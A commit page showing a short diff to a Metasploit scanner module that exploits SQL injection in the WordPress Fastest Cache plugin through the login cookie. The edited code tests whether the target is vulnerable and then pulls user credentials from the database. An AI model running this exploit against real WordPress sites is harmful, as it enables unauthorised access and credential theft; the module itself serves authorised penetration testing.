Skip to content

Commit a87e915

Browse files
committed
Update
1 parent 37eeead commit a87e915

File tree

1 file changed

+5
-10
lines changed

1 file changed

+5
-10
lines changed

modules/auxiliary/scanner/http/wp_fastest_cache_sqli.rb

Lines changed: 5 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -47,7 +47,7 @@ def initialize(info = {})
4747
]
4848
end
4949

50-
def run_host(ip)
50+
def run_host(_ip)
5151
print_status("Performing SQL injection via the 'wordpress_logged_in' cookie...")
5252

5353
random_number = Rex::Text.rand_text_numeric(4..8)
@@ -63,15 +63,10 @@ def run_host(ip)
6363
fail_with Failure::Unreachable, 'Connection failed' unless res
6464
end
6565

66-
wordpress_sqli_initialize(@sqli)
67-
68-
return print_bad("#{peer} - Testing of SQLi failed. If this is time-based, try increasing the SqliDelay.") unless @sqli.test_vulnerable
66+
fail_with(Failure::NotVulnerable, 'Target is not vulnerable or delay is too short.') unless @sqli.test_vulnerable
67+
print_good('Target is vulnerable to SQLi!')
6968

70-
table_prefix = wordpress_sqli_identify_table_prefix
71-
unless table_prefix
72-
fail_with(Failure::NotFound, 'Failed to identify the WordPress table prefix.')
73-
end
74-
75-
wordpress_sqli_get_users_credentials(table_prefix, ip, datastore['COUNT'])
69+
wordpress_sqli_initialize(@sqli)
70+
wordpress_sqli_get_users_credentials(datastore['COUNT'])
7671
end
7772
end

0 commit comments

Comments
 (0)